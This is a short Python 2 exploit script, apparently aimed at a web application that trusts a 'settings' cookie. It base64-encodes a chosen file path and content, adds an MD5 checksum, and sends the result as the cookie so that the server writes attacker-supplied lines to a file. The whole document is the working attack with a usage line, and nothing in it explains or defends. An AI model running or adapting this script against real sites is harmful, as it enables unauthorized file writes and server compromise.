import base64, md5, sys, urllib import urllib2 if len(sys.argv) != 4: print "python2 exploit.py url (relative)filepath contentline1,contentline2" url = sys.argv[1] filepath = sys.argv[2] content = sys.argv[3] payload = base64.b64encode(filepath+","+content) payloadhex = md5.md5(payload).hexdigest() print url opener = urllib2.build_opener() opener.addheaders.append(('Cookie', 'settings='+payload+","+payloadhex)) f = opener.open(url) print f.read()